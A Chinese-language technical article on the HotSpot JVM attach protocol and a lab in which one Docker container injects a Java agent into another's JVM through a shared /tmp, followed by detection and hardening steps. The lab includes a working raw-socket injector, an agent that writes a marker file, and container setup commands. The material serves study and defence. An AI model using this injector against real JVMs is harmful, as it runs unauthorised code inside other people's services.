一、AttachListener 的冷启动:信号触发与触发文件

HotSpot 启动时不会预先创建 /tmp/.java_pid<pid>。AttachListener 线程按需启动,触发条件在 Linux 下是一组特定信号与一个特定文件名的组合:

  1. 在目标 JVM 的当前工作目录或 /tmp 下创建 .attach_pid<pid> 这个空文件(pid 是目标 JVM 在自己命名空间内看到的 pid)。
  2. 向目标进程发送 SIGQUIT(信号号 3)。
  3. HotSpot 的信号处理函数捕获到 SIGQUIT 后,并不会立刻打印线程堆栈,而是先检查 /proc/self/cwd/.attach_pid<pid> 与 /tmp/.attach_pid<pid> 是否存在;任一存在即认定这是一次合法的 attach 请求。
  4. HotSpot 内部置位 AttachListener::is_init_trigger(),由 AttachListener 线程在 LinuxAttachListener::init() 中以 bind(2) 绑定 /tmp/.java_pid<pid>,并 listen(5)。
  5. 触发文件 .attach_pid<pid> 在 listener 初始化完成后由 HotSpot 自行 unlink()。

触发文件的 owner 必须满足 uid == JVM uid,否则 HotSpot 直接忽略信号,不创建 socket。这是第一道鉴权,源码位于 attachListener_linux.cpp 的 init_trigger() 中对 stat() 结果的 st_uid 校验。

如果 /tmp 是 noexec、ro 或被 tmpfs size=0 限制,触发会失败但不会产生任何错误日志。

AttachListener 一旦起来就常驻,后续不需要再发信号,直接 connect() 即可。

二、UDS 的命名与文件系统层防护

socket 的路径形式固定为 /tmp/.java_pid<pid>,文件 mode 为 srw-------(0600,HotSpot 在 attachListener_posix.cpp 里以 chmod(path, S_IREAD|S_IWRITE) 设置),owner 为 JVM 所属的 uid/gid。文件系统层只允许同 uid 的进程 connect()。

这条防线在两类场景下容易失效:

  • 共享 uid:同一宿主机上以同一 uid 跑多个 JVM 时,任一 JVM 的 uid 拥有者都能连接其余 JVM 的 socket。生产中常见的 tomcat:tomcat、app:app、以及清一色 root 运行的容器,互相之间没有任何 fs 层隔离。
  • uid 0:root 可以 connect 任何 uid 的 socket,且无须改 mode。这是宿主机 root 用户与容器内 root 的天然能力。

容器场景下还要叠加 /tmp 的可见性问题,下一节单独展开。

三、AttachListener 的协议字节布局

socket 建立 TCP 风格的双工流后,协议没有任何 framing header,全部以 \0 作分隔符。客户端在一次 connect() 中按以下顺序串行写出:

"1\0"                       # 协议版本号,固定字面量 '1' + NUL
"<command>\0"               # 命令名,例如 "load"
"<arg1>\0"
"<arg2>\0"
"<arg3>\0"

三个 arg 槽位必须全部写出:即便命令只需要 1 个参数,arg2 和 arg3 也必须以纯 \0 占位。HotSpot 在 LinuxAttachOperation::read_request() 中以 read_string() 循环固定读取 AttachOperation::arg_count_max == 3 次,任何缺位都会让 read 阻塞直到客户端 shutdown(SHUT_WR) 才走错误分支。

服务端在执行完命令后写回:

"<decimal_return_code>\n"   # ASCII 十进制数字 + LF
"<payload bytes...>"        # 命令输出,长度未声明
<EOF, server closes>

返回码语义:0 表示命令调度成功;非零是 HotSpot 内部的 AttachOperation::result 值,常见的 101(命令未识别)、-1(无法解析)等。payload 长度只能靠 read() 读到 EOF 才知道边界,没有 Content-Length 类字段,客户端不能用 available() 判断结束。

HotSpot 21 支持的命令名(来自 AttachListener::pd_find_operation(),按 case-sensitive 匹配):

命令

用途

properties

返回 System.getProperties() 全量 dump

agentProperties

Attach Agent 自身的属性

datadump

等价于 SIGQUIT 后正常输出的 thread + deadlock dump

threaddump

仅线程栈

dumpheap

写出 hprof 到指定路径,由 JVM uid 写盘

inspectheap

等价于 jmap -histo

setflag

设置 manageable 类别的 JVM flag

printflag

读取 JVM flag

load

装载 native agent 或 Java agent

jcmd

路由到 DCmd 体系(Thread.dump_to_file 等都走这里)

本文关心的是 load。

四、load 命令的三个参数

load 命令的三个 arg 槽位语义:

  • arg1:要加载的库名。若为字面量 "instrument",HotSpot 走 Java Agent 通道(即 Instrumentation 接口);其他值一律按 native 库名传给 dlopen()。
  • arg2:字符串 "true" 或 "false",表示 arg1 是否是绝对路径。"true" 时 HotSpot 直接把 arg1 当 path 给 dlopen,"false" 时按 LD_LIBRARY_PATH + JDK 默认路径解析。
  • arg3:选项串,原样透传给 agent。

Java Agent 的入口由 arg3 表达。arg3 的格式是 <jar绝对路径>=<options>,其中 = 之前是 jar 路径,之后是给 agentmain(String args, Instrumentation inst) 的字符串。arg3 不带 = 时整串作为 jar 路径、agentmain 收到 null。

所以一次 Java Agent 注入的协议字节流形如:

1\0 load\0 instrument\0 false\0 /tmp/agent.jar=foo\0

instrument 是 HotSpot 内置识别的特殊字面量,并不需要在文件系统上真的有同名 .so。它会触发 HotSpot 内部装载 libinstrument.so(位于 $JAVA_HOME/lib/),由 libinstrument 解析 arg3、读取 jar 的 META-INF/MANIFEST.MF、找出 Agent-Class 并回调 agentmain。

五、SO_PEERCRED:除文件系统外的第二道鉴权

仅靠 chmod 0600 是不够的,HotSpot 还在 accept() 之后对每个连入的 fd 执行一次:

struct ucred cred;
socklen_t len = sizeof(cred);
getsockopt(client_fd, SOL_SOCKET, SO_PEERCRED, &cred, &len);
if (cred.uid != geteuid() && cred.uid != 0) {
    // reject
}

HotSpot 校验对端 uid 必须等于自己的 effective uid,或对端是 root。即便 socket 的可读位被改宽,只要 uid 不一致仍会被 reject。

SO_PEERCRED 在 Linux 上返回的是对端进程在 socket 创建时的 namespace 内 uid,不是宿主机 uid。两个共享 /tmp 的容器若都以 root 身份运行(容器内 uid 0),即便宿主机映射到不同 user namespace,SO_PEERCRED 看到的都是 0,鉴权通过。这是后面跨容器注入能够成立的根本原因。

六、共享 /tmp 的实际来源

/tmp/.java_pid<pid> 这个路径本身是写死的(os::get_temp_directory() 返回 /tmp,再 snprintf 拼出),无法通过环境变量改到别处。-XX:+PerfDisableSharedMem、-Djava.io.tmpdir 都不影响这条 path。两个 JVM 进程要互相看见对方的 socket,本质上只需要:它们看到的 /tmp 是同一个 inode 空间。

Docker 默认行为:

  • 不显式挂载时,容器内 /tmp 是镜像层 + 容器层联合挂载的一部分,与宿主机及其他容器隔离。
  • -v /tmp:/tmp 或 --mount type=bind,source=/tmp,target=/tmp 把宿主机 /tmp 直接暴露进容器。
  • --mount type=tmpfs,target=/tmp 是容器私有的 tmpfs,仍然隔离。
  • --ipc=host 不影响 /tmp;--pid=host 则让容器内 kill -3 <宿主pid> 直接命中宿主 JVM。

Kubernetes 场景:

  • Pod 内多个 container 默认不共享 /tmp,但若声明了一个 emptyDir 卷并挂到所有容器的 /tmp,就形成了共享。
  • 一些 sidecar 模式(日志采集、profiler sidecar)会主动以 emptyDir 形式共享 /tmp 给主容器,以便 sidecar 用 jcmd 抓取业务容器的指标。这种部署里 sidecar 天然拥有 attach 权限。
  • HostPath 把宿主 /tmp 挂进 Pod 也会形成共享。

七、JEP 451 在 JDK 21 上的实际行为边界

JEP 451 (Prepare to Disallow the Dynamic Loading of Agents) 在 JDK 21 落地,但它在 JDK 21 阶段不会阻断任何东西,仅当目标 JVM 检测到一次动态 agent 装载时,向 stderr 打印:

WARNING: A Java agent has been loaded dynamically (/tmp/agent.jar)
WARNING: If a serviceability tool is in use, please run with -XX:+EnableDynamicAgentLoading to hide this warning
WARNING: If a serviceability tool is not in use, please run with -Djdk.instrument.traceUsage for more information
WARNING: Dynamic loading of agents will be disallowed by default in a future release

JDK 21 GA 的 warning 第 3 行已经不再提示 -XX:-EnableDynamicAgentLoading(更早期的 EA 版本提示过),而是引到 -Djdk.instrument.traceUsage 这个 trace 开关。真正的阻断标志位仍然存在:

  • -XX:+EnableDynamicAgentLoading:允许,且不打 warning。
  • -XX:-EnableDynamicAgentLoading:真正阻断。此时再触发 load,HotSpot 返回非零 result,agent 装载失败。这是 JDK 21 上唯一能从 JVM 侧硬性关闭这条路径的开关。

warning 在源码里只挂在 Agent::initialization() 路径上,不区分 attach 源是自身进程还是外部进程,外部 attach 同样只会被 warning 不会被拒绝。社区里流传的"JEP 451 只针对自附加"的说法不准确——它针对的是"动态 vs 启动期 -javaagent:",与发起方是否同一 JVM 无关。

八、复现:两个容器共享 /tmp 完成跨容器注入

目标容器(victim)跑一个 HTTP 服务,攻击容器(attacker)直接走 UDS 字节流注入一个只做"写文件留痕"的 Java Agent,用以验证 agentmain 在目标 JVM 中确实被调用。

8.1 目录搭建

mkdir -p attach-lab && cd attach-lab

8.2 目标 Java 应用

Victim.java:

import com.sun.net.httpserver.*;
import java.net.InetSocketAddress;

public class Victim {
    public static void main(String[] args) throws Exception {
        var server = HttpServer.create(new InetSocketAddress(8080), 0);
        server.createContext("/", ex -> {
            byte[] body = "ok\n".getBytes();
            ex.sendResponseHeaders(200, body.length);
            ex.getResponseBody().write(body);
            ex.close();
        });
        server.start();
        System.out.println("victim pid=" + ProcessHandle.current().pid());
        Thread.currentThread().join();
    }
}

构建:

javac Victim.java

8.3 Java Agent

Agent.java:

import java.lang.instrument.Instrumentation;
import java.nio.file.*;

public class Agent {
    public static void agentmain(String args, Instrumentation inst) throws Exception {
        // 写出一个文件证明 agentmain 执行成功
        Files.writeString(
            Paths.get("/tmp/pwned_by_" + ProcessHandle.current().pid()),
            "agentmain args=" + args + "\n"
        );
    }
}

agent-manifest.mf(用 heredoc 写出,最后一行后必须有一个空行,否则部分 jar 工具会把最后一条属性吞掉):

cat > agent-manifest.mf <<'EOF'
Manifest-Version: 1.0
Agent-Class: Agent
Can-Redefine-Classes: true
Can-Retransform-Classes: true

EOF

构建:

javac Agent.java
jar cfm agent.jar agent-manifest.mf Agent.class

8.4 注入器

RawAttach.java,直接以 UDS 字节流交互:

import java.io.*;
import java.net.*;
import java.nio.*;
import java.nio.channels.*;
import java.nio.file.*;

public class RawAttach {
    public static void main(String[] args) throws Exception {
        long pid = Long.parseLong(args[0]);
        String agentJarAbs = args[1];                  // /tmp/agent.jar
        String agentArgs   = args.length > 2 ? args[2] : "";

        Path sock = Path.of("/tmp/.java_pid" + pid);
        if (!Files.exists(sock)) {
            Path trigger = Path.of("/tmp/.attach_pid" + pid);
            Files.createFile(trigger);
            new ProcessBuilder("kill", "-3", Long.toString(pid))
                .inheritIO().start().waitFor();
            for (int i = 0; i < 50 && !Files.exists(sock); i++) Thread.sleep(100);
            if (!Files.exists(sock))
                throw new IOException("AttachListener did not come up");
        }

        try (SocketChannel ch = SocketChannel.open(StandardProtocolFamily.UNIX)) {
            ch.connect(UnixDomainSocketAddress.of(sock));
            writeNul(ch, "1");          // protocol version
            writeNul(ch, "load");       // command
            writeNul(ch, "instrument"); // arg1
            writeNul(ch, "false");      // arg2: not an absolute .so
            writeNul(ch, agentJarAbs + (agentArgs.isEmpty()
                    ? "" : "=" + agentArgs));  // arg3

            ByteArrayOutputStream out = new ByteArrayOutputStream();
            ByteBuffer buf = ByteBuffer.allocate(4096);
            int n;
            while ((n = ch.read(buf)) > 0) {
                buf.flip();
                byte[] tmp = new byte[buf.remaining()];
                buf.get(tmp);
                out.write(tmp);
                buf.clear();
            }
            String resp = out.toString();
            int nl = resp.indexOf('\n');
            int rc = Integer.parseInt(resp.substring(0, nl).trim());
            System.out.println("return_code=" + rc);
            System.out.println("payload=\n" + resp.substring(nl + 1));
        }
    }

    static void writeNul(SocketChannel ch, String s) throws IOException {
        byte[] b = (s + "\0").getBytes("UTF-8");
        ByteBuffer bb = ByteBuffer.wrap(b);
        while (bb.hasRemaining()) ch.write(bb);
    }
}

构建:

javac --release 21 RawAttach.java

Dockerfile.victim:

FROM eclipse-temurin:21-jdk
WORKDIR /app
COPY Victim.class /app/
CMD ["java", "Victim"]

Dockerfile.attacker:

FROM eclipse-temurin:21-jdk
WORKDIR /app
COPY RawAttach.class /app/
COPY agent.jar /agent/agent.jar
# strace 用于后面抓协议字节流
RUN apt-get update \
    && apt-get install -y --no-install-recommends procps strace \
    && rm -rf /var/lib/apt/lists/*

构建:

sudo docker build -f Dockerfile.victim   -t att-victim .

sudo docker build -f Dockerfile.attacker -t att-attacker .

启动一个共享 tmpfs 给两个容器作 /tmp:

sudo docker volume create --driver local \
  --opt type=tmpfs --opt device=tmpfs --opt o=size=64m shared_tmp

sudo docker run -d --name victim   -v shared_tmp:/tmp att-victim

sudo docker run -d --name attacker -v shared_tmp:/tmp att-attacker sleep infinity

因为 /tmp 整个被共享 tmpfs 替换掉,两个容器各自原本镜像里的 /tmp 内容都看不到了,但 attacker 容器里 /agent/agent.jar 仍然存在。这里特意把 agent jar 放在 /agent/,因为 attach 协议要求 agent 路径在目标 JVM 视角下能被打开——而目标容器的 /agent/ 目录不存在。

需要把 agent jar 复制进共享 /tmp:

sudo docker exec attacker cp /agent/agent.jar /tmp/agent.jar

确认 victim 视角能看到:

docker exec victim ls -l /tmp/agent.jar

javac --release 21 Victim.java Agent.java RawAttach.java
jar cfm agent.jar agent-manifest.mf Agent.class
ls

8.5 跨容器发起注入

拿到目标在自己 PID namespace 内的 pid

sudo docker exec victim pgrep -x java

attacker 容器并不强制要求直接"看到" victim 的进程——它只要能访问到 socket 文件、并在必要时把信号送到目标即可。但发信号要求两个容器处于同一个 PID namespace。两种走法:

  • 方式 A:启动 attacker 时加 --pid=container:victim,让 attacker 直接进入 victim 的 PID namespace。
  • 方式 B:在 victim 还没起 AttachListener 时,由 victim 自己先发一次 kill -3 1 触发;此后 socket 常驻,attacker 不再需要发信号。

这里我走的A方式。

重启 attacker:

sudo docker rm -f attacker
sudo docker run -d --name attacker \
  -v shared_tmp:/tmp \
  --pid=container:victim \
  att-attacker sleep infinity

sudo docker exec attacker pgrep -x java

发起注入:

sudo docker exec attacker java RawAttach 1 /tmp/agent.jar hello

观察返回码与 victim 日志:

sudo docker logs victim

sudo docker exec victim ls /tmp/

sudo docker exec victim cat /tmp/pwned_by_1

至此 victim 容器的 JVM 在自己的命名空间内加载并运行了来自另一个容器的 Java Agent。

​

验证一下 --pid=container:victim 是否真的把两个容器塞进了同一个 PID namespace:

sleep infinity 是 attacker 容器的启动命令,却以 PID 46 出现在 victim 视角的 ps 里——这就是共享 PID namespace 的直接证据,也意味着 attacker 能向 victim 的 pid 1 发任意信号。

8.6 仅共享 /tmp、不共享 PID namespace 的情况

如果只共享 /tmp 而 PID namespace 隔离,attacker 看到的 victim pid 与 victim 自己看到的不一样,且 kill -3 无法跨 namespace 发送。这种情况下,只要 victim 进程已经被任何其他方式触发过 AttachListener(例如它自己在启动后 jcmd <self> VM.version 自检过、或运维侧曾经 jstack 过一次),/tmp/.java_pid<pid> 就已经存在并常驻。共享 /tmp 的 attacker 只需枚举 .java_pid* 文件,直接 connect(),HotSpot 不会因为对端不在同 PID namespace 就拒绝——SO_PEERCRED 只看 uid。

sudo docker exec attacker sh -c 'ls /tmp/.java_pid* 2>/dev/null'

直接用 socket path,不再依赖 pid 数字的语义

sudo docker exec attacker java RawAttach 1 /tmp/agent.jar

RawAttach 在这种场景下需要把 SIGQUIT 触发段去掉,直接 connect。

8.7 用 strace 抓取触发链与协议字节流

attacker 的 java 进程自身启动会刷掉数百行 syscall(加载 libjli.so / libjvm.so / libjimage.so、读 cgroup、查 hugepage 配置等),真正的 attach 行为集中在文件后半部。

sudo docker exec attacker strace -f \
    -e trace=openat,unlinkat,kill,socket,connect,write,read \
    -s 200 -o /tmp/attach.strace \
    java RawAttach 1 /tmp/agent.jar hello

sudo docker exec attacker grep -nE \
    '\.attach_pid|\.java_pid|kill.*-3|sun_path=.*java_pid|write\([0-9]+, "(1|load|instrument|false|/tmp/agent)|read\([0-9]+, "[0-9]|statx\([0-9]+, [^,]+, "/tmp/\.(java_pid|attach_pid)' \
    /tmp/attach.strace

整个注入过程可在 18 行 syscall 内闭环。按时间序:触发文件创建(L153)→ ProcessBuilder fork + execve 投递 kill -3 1(L168 父写 argv / L175 子 PID 83 读 argv)→ kill 子进程退出为 zombie(L203 83 (kill) Z)→ AttachListener 冷启动后,主进程 PID 66 连入 /tmp/.java_pid1(L235)→ 按协议串行写出五段字节(L236–L240)→ 收到返回码与 payload 共 17 字节(L241)。

为什么是这样?

  • L153 的 O_WRONLY|O_CREAT|O_EXCL 标志说明 RawAttach 用"独占创建"语义来生成触发文件。
  • L168 与 L175 的字节内容完全相同("kill\0-3\0001\0...",93 字节),正是 execve 把 argv 与继承自 attacker 容器的 PATH 一起拷贝给子进程的 pipe 通道;L203 Z 状态印证子进程已退出、等 waitFor 收尸,对应 RawAttach.java 里 new ProcessBuilder("kill","-3",...).start().waitFor() 这一行。
  • L235 的 sun_path="/tmp/.java_pid1" 与 socket 长度 18(=2 字节 sa_family + 16 字节 path,正好放下 /tmp/.java_pid1)共同说明这是一个标准的 AF_UNIX path 形式,不是 abstract namespace(abstract 会以 @ 或 \0 开头)。
  • L236–L240 五次 write 字节长度分别是 2/5/11/6/21,每段都恰好等于"字符串长度 + 1 个 NUL",证明 HotSpot 的协议确实以 \0 作唯一分隔符,没有任何 framing header。
  • L241 read = 17,内容拆开是 "0\n"(2 字节,HotSpot LinuxAttachOperation::complete() 写回的命令分发结果)+ "return code: 0\n"(15 字节,libinstrument 的 JPLISAgent::tryToLoadAgent() 把 Agent_OnAttach 的返回值再 echo 一次)。两段 0 双重表明命令路由与 agent 入口都未抛异常。

socket 文件

文件类型 s(socket)、模式 rw-------(八进制 0600)、owner/group 均为 root、size 为 0、时间戳是 attach 触发那一刻。

  • 类型 s 来自 bind(2) 在文件系统上落下的 socket inode。
  • 模式 0600 是 HotSpot 在 attachListener_posix.cpp 里硬编码 chmod(path, S_IREAD|S_IWRITE) 的结果,对应 §二第一道文件系统鉴权。
  • size 为 0 是 UDS inode 的通用特征——AF_UNIX socket 不在文件系统层承载数据,所有字节都走内核 socket buffer。
  • owner 为 root 而非 tomcat/app 等业务用户,是因为 victim 容器内 JVM 以 uid 0 启动,这同时也意味着 前文描述的 SO_PEERCRED 鉴权对 attacker 容器内的 root 来说是 no-op——两边都是 namespace 内 uid 0。

文件存在 + 0600 + owner=JVM uid 三要素齐备 → 这是一个 HotSpot 标准初始化路径生成的合法 AttachListener socket,不是攻击者伪造的同名文件。

内核 socket 表

  • HotSpot 的 LinuxAttachListener::init() 先把 socket bind 到 .java_pid1.tmp,listen + chmod 0600 完成后再 rename 成最终名。内核在 bind(2) 时把 sun_path 拷贝进 socket 内部结构,rename(2) 只改 dentry 不回写 socket 结构,所以 /proc/net/unix 永久停留在 .tmp 上。
  • flags=0x00010000 即 __SO_ACCEPTCON,表明该 socket 已调用 listen;state=01 即 SS_UNCONNECTED,对 listening UDS 来说是正确状态(它本身不"连"任何人,只 accept)。
  • refcount=2:一份来自 AttachListener 线程持有的 listener fd,另一份来自 dentry 引用。

装载证据

四段权限对应代码段、RELRO 保护页、只读数据、可写数据,是 dlopen 进来的 ELF 共享库标准布局。Temurin 21 未启用 -z separate-code,所以是 4 段而非 5 段。device id 00:37 中 major 为 0,是 overlay2 文件系统在容器内的特征,说明这个 so 来自镜像层而非外部投递。

java_command: Victim,启动参数干净,没有任何 -javaagent: 或 -agentlib:。

启动参数没有 agent,但内存里出现了 libinstrument.so,唯一的解释是这次装载来自动态 attach,不是启动期 -javaagent 拉起的。

第一行括号里的 /tmp/agent.jar 是 victim 视角的路径,与 attacker 写出的 arg3 路径一致,说明共享 tmpfs 让两边看到同一份文件。(后三行是 JDK 21 的固定文案,仅 warning 不阻断)

这四行只出现在 victim 的 stderr,attacker 端的 RawAttach 只收到 0\nreturn code: 0\n,看不到 warning。防御侧如果只盯发起方进程行为会漏掉,必须采集业务 JVM 的 stderr 才能命中这条线索。

8.8 attach socket 在 /proc 下的视角

attach 触发前 victim 端:

sudo docker exec victim ls -la /tmp/ | grep -E 'attach|java_pid' || echo "(no attach files)"
sudo docker exec victim grep -E '\.java_pid|\.attach_pid' /proc/net/unix || echo "(no listening attach socket)"

attach 触发后,先看文件系统视角:

srw------- 即 0600,HotSpot 在 attachListener_posix.cpp 里以 chmod(path, S_IREAD|S_IWRITE) 设置。文件存在 + mode 0600 + owner 与 JVM uid 一致,三者齐全才是合法的 attach socket。

sudo docker exec victim grep java_pid /proc/net/unix

​/proc/net/unix 里看到的 path 带 .tmp 后缀,而 ls /tmp/.java_pid1 不带。原因在 HotSpot 的 LinuxAttachListener::init():

snprintf(path,         "%s/.java_pid%d", "/tmp", pid);   // 最终路径
snprintf(initial_path, "%s.tmp",         path);          // 临时路径
bind(listener, initial_path);            // 先绑 .tmp
listen(listener, 5);                     // listen
chmod(initial_path, S_IREAD|S_IWRITE);   // 0600
rename(initial_path, path);              // 原子改名为最终名

这是为了避免"socket 已出现但尚未 listen / chmod"的中间窗口被其他进程抢先 connect。内核记录 sun_path 是在 bind(2) 时一次性写入的,rename(2) 不会回写到内核结构,所以 /proc/net/unix 永远停留在 .tmp 那个 path 上,而 dentry 已经改名。

倒过来用:在 /proc/net/unix 看到一个 /tmp/.java_pid<pid> listening UDS 不带 .tmp 后缀,说明它不是被 HotSpot 走标准 init() 路径创建的——很可能是被外部进程直接 bind 到最终名上的伪造 socket,是一个值得追查的异常。

agent.jar 本身既不会出现在 /proc/<pid>/maps,也很可能在注入完成几秒后就从 lsof -p <pid> 里消失。libinstrument 在 agentmain 返回后释放对 jar 的强引用,下一次 GC 触发后底层 ZipFile.close() 把文件句柄释放掉。对取证而言这意味着:

sudo docker exec victim cat /tmp/pwned_by_1

agentmain 写入的痕迹仍在。

sudo docker exec victim grep libinstrument /proc/1/maps

so 仍在 mapping。

sudo docker exec victim lsof -p 1 | grep agent.jar 

已经为空。

即便 /tmp/agent.jar 这个文件本身已被删除,Agent 类仍在 system class loader 里固化,agentmain 的副作用持续存在。从 lsof 反查 agent jar 来做样本提取这条路在多数情况下走不通;可靠的取证证据是 libinstrument.so 的 mapping、victim 端 stderr 上的 JEP 451 warning、以及第 8.8 节 /proc/net/unix 中残留的 .tmp 后缀。

8.9 victim 端的 stderr 输出与 jcmd 自查

victim 容器的标准错误能直接看到 JEP 451 的 warning:

sudo docker logs victim 2>&1 | tail -20

warning 是 victim 端的 HotSpot 打出来的,不会回灌到发起方的 socket payload。仅看 RawAttach 输出(返回码 0)无法判断"是否触发了 warning",必须从外部看 victim 日志。

九、防御侧的识别面

无需依赖 HotSpot 源码、几条可立刻执行的识别动作:

1. 列出活跃的 attach socket:

# 优先:ss(需要 iproute2)
ss -xl | awk '$5 ~ /\.java_pid/ {print}'

# 零依赖回退:直接读 /proc/net/unix
grep -E '\.java_pid[0-9]+(\.tmp)?$' /proc/net/unix

/proc/net/unix 内核会保留 bind 时的 path(带 .tmp 后缀),ls /tmp/ 看到的是 rename 后的最终名(不带 .tmp)。两边都要查——只查其中一处会漏:

  • 只查 ls /tmp/.java_pid*:看不到那些被 unlink 但仍持有的 socket(即 socket 文件已被删,listener fd 仍在内核中持有的情况)
  • 只查 /proc/net/unix:能看到所有 listening UDS,但不能直接验证文件系统层的可达性

任何 .java_pid* 的存在都说明对应 JVM 至少被触发过一次 attach。常驻并不必然代表被入侵,但配合启动参数能快速锁定异常:用 -javaagent: 启动的 JVM 不会自动起 AttachListener,socket 的出现一定来自外部触发或 jcmd 自调。

2. 比对加载中的 agent 与启动参数:

JVM_PID=1
jcmd $JVM_PID VM.command_line
jcmd $JVM_PID VM.system_properties | grep -E 'sun.jvm.args|java.class.path'
jcmd $JVM_PID VM.flags -all | grep -i agent

启动参数里没有 -javaagent、却出现在 jdk.attach.allowAttachSelf 等运行期属性里的情况,是动态注入的强信号。

3. 检查进程内存映射里的 jar / so:

awk '/\.jar$|\.so$/ {print $6}' /proc/$JVM_PID/maps | sort -u

libinstrument.so 的出现说明这个 JVM 至少装载过一次 Java Agent;若启动参数中没有 -javaagent:,意味着这次装载来自 attach。

4. 监控 .attach_pid<pid> 触发文件的创建:

# auditd 规则示例:监控 /tmp 下 .attach_pid* 文件的 create/open
auditctl -w /tmp -p wa -k attach_trigger
ausearch -k attach_trigger | grep -E 'name=.*\.attach_pid'

.attach_pid<pid> 在生产环境出现得极少,绝大多数 JVM 永不主动触发它。一次出现就值得告警。eBPF 侧用 bpftrace -e 'tracepoint:syscalls:sys_enter_openat /str(args->filename) ~ "*\.attach_pid*"/ { printf("%d %s\n", pid, comm); }' 也能拿到等价信号。

5. 关闭这条路径:

对所有不需要 attach 能力的生产 JVM,加上:

-XX:-EnableDynamicAgentLoading
-XX:+DisableAttachMechanism

DisableAttachMechanism 让 HotSpot 完全不在 SIGQUIT 路径上创建 AttachListener,连 socket 都不会出现;-EnableDynamicAgentLoading 则在 Agent::initialization() 阶段直接拒绝 load 命令。两者一起加能彻底关闭前面描述的全部入口。需要注意 DisableAttachMechanism 会让 jcmd、jstack、jmap 全部失效,对依赖在线诊断的环境需要权衡。

6. 编排层面的最小化:

  • 不要在 Pod 内多个容器之间用 emptyDir 共享 /tmp,sidecar 抓取指标应改用 JMX over 网络或 OpenTelemetry agent 启动期注入。
  • 不要在 docker run 时把宿主 /tmp 直接 bind mount 给容器;如需共享文件,挂到 /shared 而不是 /tmp。
  • 共享 PID namespace(--pid=host / --pid=container:)应当与共享 /tmp 互斥,避免两者同时出现。

十、平台差异

HotSpot 在 macOS 上同样使用 /tmp/.java_pid<pid> UDS,触发机制类似但触发文件位置在 <tmpdir> 内;Windows 上 attach 走 named pipe \\.\pipe\javatool<pid>,鉴权依赖 ACL 而非 SO_PEERCRED。容器化部署里 Windows 平台几乎不涉及,因此本文聚焦 Linux 平台,覆盖的是 Docker 与 Kubernetes 的默认运行底座。